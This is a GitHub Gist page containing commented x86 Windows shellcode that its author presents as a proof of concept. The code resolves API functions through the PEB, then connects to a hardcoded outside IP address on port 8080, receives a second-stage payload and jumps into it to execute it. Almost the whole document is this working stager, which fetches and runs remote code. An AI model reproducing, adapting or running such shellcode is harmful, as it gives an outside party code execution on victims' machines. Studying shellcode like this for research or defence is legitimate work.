Last active
April 29, 2023 12:06
-
-
Save JohnTroony/ddbc7b6a999ff7d3d0664f89cc4fb5f3 to your computer and use it in GitHub Desktop.
x86 Shellcoding: PoC code for connect back shellcode that fetch a second stage shellcode and executes it.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; John (Troon) Ombagi | |
; Twitter/Github : @johntroony | |
global _start | |
section .text | |
_start: | |
; Create new stack frame | |
push ebp | |
mov ebp, esp | |
; Allocate local variables on stack and initialize them to zero | |
sub esp, 1ch ; Creat space on stack | |
xor eax, eax ; Zero out eax | |
mov [ebp - 04h], eax ; To store number of exported functions | |
mov [ebp - 08h], eax ; To store address of exported functions addresses table | |
mov [ebp - 0ch], eax ; To store address of exported functions name table | |
mov [ebp - 10h], eax ; To store address of exported functions ordinal table | |
mov [ebp - 14h], eax ; To store a null terminated byte string LoadLibraryA | |
mov [ebp - 18h], eax ; To store address to LoadLibraryA function | |
mov [ebp - 1ch], eax ; To store address to GetProcAddress function | |
; Get kernel32 base address via PEB and exported functions table | |
mov eax, [fs:eax + 30h] ; Pointer to PEB | |
mov eax, [eax + 0ch] ; Pointer to Ldr | |
mov esi, [eax + 14h] ; Pointer to InMemoryOrderModuleList | |
lodsd ; This program's module | |
xchg eax, esi ; esi equals eax | |
lodsd ; Kernel32 | |
mov ebx, [eax + 10h] ; Store kernel32.dll base address in ebx | |
mov eax, [ebx + 3ch] ; 0x3c into the image - RVA of PE signature | |
add eax, ebx ; Address of PE signature: eax = eax + kernel32 base -> eax = 0xf8 + kernel32 base | |
mov eax, [eax + 78h] ; 0x78 bytes after the PE signature is an RVA of Export Table | |
add eax, ebx ; Address of Export Table = Export Table RVA + kernel32 base | |
mov ecx, [eax + 14h] ; Get number of exported functions | |
mov [ebp - 4h], ecx ; Store number of exported functions | |
mov ecx, [eax + 1ch] ; Get RVA of exported functions table | |
add ecx, ebx ; Get address of exported functions table | |
mov [ebp - 8h], ecx ; Store address of exported functions table | |
mov ecx, [eax + 20h] ; Get RVA of Name Pointer Table | |
add ecx, ebx ; Get address of Name Pointer Table | |
mov [ebp - 0ch], ecx ; Store address of Name Pointer Table | |
mov ecx, [eax + 24h] ; Get RVA of functions ordinal table | |
add ecx, ebx ; Get address of functions ordinal table | |
mov [ebp - 10h], ecx ; Store address of functions ordinal table | |
; Push "LoadLibraryA" on stack and save it to a local variable | |
xor eax, eax ; Zero out eax | |
push eax ; Push eax as string terminator (nulls) '\0' | |
push 0x41797261 ; Push 'aryA' in reverse order | |
push 0x7262694c ; Push 'Libr' in reverse order | |
push 0x64616f4c ; Push 'Load' in reverse order | |
mov [ebp - 14h], esp ; Store pointer to 'LoadLibraryA' string | |
xor ecx, ecx ; Zero out ecx | |
findLoadLibraryAPosition: | |
; Loop through exported function name pointer table | |
; and find position of a Library | |
mov esi, [ebp - 14h] ; Save pointer to LoadLibraryA in esi | |
mov edi, [ebp - 0ch] ; Save pointer to exported function names table in edi | |
cld ; Direction flag | |
mov edi, [edi + eax*4] ; Get RVA of the next function name in the exported function names table | |
add edi, ebx ; Get address of the next function name in the exported function names table | |
push byte 8 ; Push 8 bytes (pop back to ecx) for comparision | |
pop cx ; Use first 8 bytes in the next-comparison instruction | |
repe cmpsb ; check if esi == edi | |
jz loadLibraryAFound ; Jump to loadLibraryAFound if library found | |
inc eax ; Increase the counter | |
cmp eax, [ebp - 4h] ; Check if we have looped over all the exported function names | |
jmp findLoadLibraryAPosition ; Loop if library not found or not looped over all exported function names | |
loadLibraryAFound: | |
mov ecx, [ebp - 10h] ; Ordinal table saved in ecx | |
mov edx, [ebp - 8h] ; Export address table saved in edx | |
; Get address of LoadLibraryA ordinal | |
mov ax, [ecx + eax * 2] ; Get LoadLibraryA ordinal | |
mov eax, [edx + eax * 4] ; Get RVA of LoadLibraryA function | |
add eax, ebx ; Get VA of LoadLibraryA | |
; Decide where to place the found library address | |
xor ecx, ecx ; Zero out ecx | |
cmp [ebp - 18h], ecx ; Check if LoadLibraryA is still unset (equals to zeros) | |
je set_loadlibrary ; If it is unset, jump to set_loadlibrary | |
ja set_getprocaddress ; If it is set, jump to set_getprocaddress | |
set_loadlibrary: | |
mov [ebp - 18h], eax ; Save the found LoadLibraryA address on stack | |
jmp find_GetProcAddress ; Jump to find_GetProcAddress | |
set_getprocaddress: | |
mov dword [ebp - 1ch], eax ; Save the found GetProcAddress on variable GetProcAddress_ | |
jmp load_and_connect ; Jump to load_and_connect | |
find_GetProcAddress: | |
; This function reuses the findLoadLibraryAPosition to find position of GetProcAddress | |
; Push GetProcAddress to stack and save it to a local variable | |
mov cx,0x7373 ; Last ecx was zero out, save 'ss' in cx | |
push ecx ; Push null string terminator + 'ss' on stack | |
push 0x65726464 ; Push 'ddre' in reverse order | |
push 0x41636f72 ; Push 'rocA' in reverse order | |
push 0x50746547 ; Push 'GetP' in reverse order | |
mov [ebp - 14h], esp ; Store pointer to 'GetProcAddress' string | |
xor eax, eax | |
xor ecx,ecx | |
; Reuse function to get GetProcAddress | |
jmp findLoadLibraryAPosition ; Jump to findLoadLibraryAPosition | |
load_and_connect: | |
; Save GetProcAddress in esi | |
xor esi, esi | |
mov esi, [ebp - 1ch] | |
; Get the windows socket dll name | |
xor eax, eax ; Zero out eax | |
mov ax, 0x3233 ; Set lower bytes of eax to '32' in reversed order | |
push eax ; Push null string terminator (zeros) + '32' on stack | |
push dword 0x5f327377 ; Push 'ws2_' in reverse order | |
push esp ; push 'ws2_32' in reverse order on stack | |
; LoadLibraryA(ws2_32) | |
mov ebx, [ebp -18h] ; Move LoadLibraryA address in ebx | |
call ebx ; LoadLibraryA(ws2_32) | |
mov ebp, eax ; Winsocket dll (ws2_32) handle is saved into ebp | |
; Get the funtion name: WSAStartUp | |
xor eax, eax ; Zero out eax | |
mov ax, 0x7075 ; Set lower bytes of eax to 'Up' in reversed order | |
push eax ; Push null string terminator + 'Up' on stack | |
push 0x74726174 ; Push 'tart' in reverse order | |
push 0x53415357 ; Push 'WSAS' in reverse order | |
push esp ; Save a pointer to 'WSAStartUp' string | |
push ebp ; Push hmodule | |
call esi ; GetProcAddress(hmodule, functionname) | |
; CAll WSAStartUp | |
xor ebx,ebx ; Zero out ebx | |
mov ebx,0x1191221 ; Move number 0x1191221 to ebx (avoiding null chars) | |
sub ebx,0x1191091 ; Subtract 0x1191091 from ebx to get size of WSAData struct | |
sub esp,ebx ; Create space for receiving the WSAData struct | |
push esp ; Save a pointer to the WSAData struct | |
push ebx ; Push EBX as wVersionRequested | |
call eax ; WSAStartUp(MAKEWORD(2, 2), wsadata_pointer) | |
; Get the function name: WSASocketA | |
xor eax, eax ; zero out ebx | |
mov ax, 0x4174 ; Set lower bytes of eax, 'tA' in reverse order | |
push eax ; Push nulls (string terminator) and 'At' | |
push 0x656b636f ; Push 'ekco' | |
push 0x53415357 ; Push 'SASW' | |
push esp ; Save a pointer to the 'WSASocketA' string | |
push ebp ; Push hmodule | |
call esi ; GetProcAddress(hmodule, functionname) | |
; Call WSASocket | |
xor ebx, ebx ; Zero out ebx. Set to NULL | |
push ebx ; Push dwFlags parameter value 0 | |
push ebx ; Push g parameter value 0 | |
push ebx ; Push lpProtocolInfo parameter value NULL | |
xor edx, edx ; Zero out edx | |
mov dl, 6 ; Set protocol arg value 6 | |
push edx ; Push the protocol arg | |
inc ebx ; Increment ebx to 1 | |
push ebx ; Push the type parameter value 1 | |
inc ebx ; Increment ebx to 2 | |
push ebx ; Push af parameter value 2 | |
call eax ; WSASocket(AF_INET = 2, SOCK_STREAM = 1, | |
; IPPROTO_TCP = 6, NULL, | |
; (unsigned int)NULL, (unsigned int)NULL) | |
xchg eax, edi ; Save the socket descriptor into edi | |
; Get the function name connect() | |
mov ebx, 0x74636565 ; Move 'tcee' in ebx | |
shr ebx, 8 ; Shift ebx right to pad with nulls \0tce' | |
push ebx ; push '\0tce' | |
push 0x6e6e6f63 ; push 'nnoc' | |
push esp ; Save a pointer to 'conncet' | |
push ebp ; Push hmodule | |
call esi ; GetProcAddress(hmodule, functionname) | |
; Call connect | |
push 0x2b73202d ; Push IP address on stack - 45.32.115.43 | |
push word 0x901f ; Push Port address on stack - 8080 | |
xor ebx, ebx ; Zero out ebx | |
add bl, 2 ; Add 2 to bl for sin_family | |
push word bx ; Push sin_port and sin_family to stack | |
mov edx, esp ; MOV pointer for sin_port & sin_family into edx | |
push byte 16 ; Push the namelen parameter value as 0x10 | |
push edx ; Push the the pointer to the sockaddr structure | |
push edi ; Push the socket descriptor | |
call eax ; connect(s1, (SOCKADDR*) &hax, sizeof(hax) = 16); | |
; Get the function name connect from ws2_32 | |
xor ebx, ebx ; Zero out ebx | |
push ebx ; Push ebx as null terminator | |
push 0x76636572 ; Push 'recv' in reverse | |
push esp ; Save a pointer to the 'recv' string | |
push ebp ; Push hmodule | |
call esi ; GetProcAddress(hmodule, functionname) | |
; Save current stack before we execute the received buffer (Stage 2 shellcode) | |
push ebp | |
mov ebp, esp | |
; Use recv() to receive the new buffer of stage 2 shellcode | |
xor ebx, ebx ; Zero out ebx | |
mov bx, 1111h ; Increment EBX to 0x1111 | |
sub bx, 111h ; Subtract EBX to make it 0x1000 = 4096 bytes | |
sub esp,ebx ; Allocate 4096 bytes of stack space for use in the recv call | |
mov ebp,esp ; Save the pointer to the buffer in EBP | |
xor ecx,ecx ; Zero ECX for use as the flags argument | |
push ecx ; Push flags arg -- 0 for no flags | |
push ebx ; Push len arg -- Size of the buffer for incoming shellcode, 4096 | |
push ebp ; Push buf arg -- Pointer to output buffer | |
push edi ; Push s arg -- Descriptor returned by WSASocketA | |
call eax ; Call recv() | |
; Jump to the stage 2 shellcode and execute | |
jmp ebp ; Jump into the buffer that was read |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment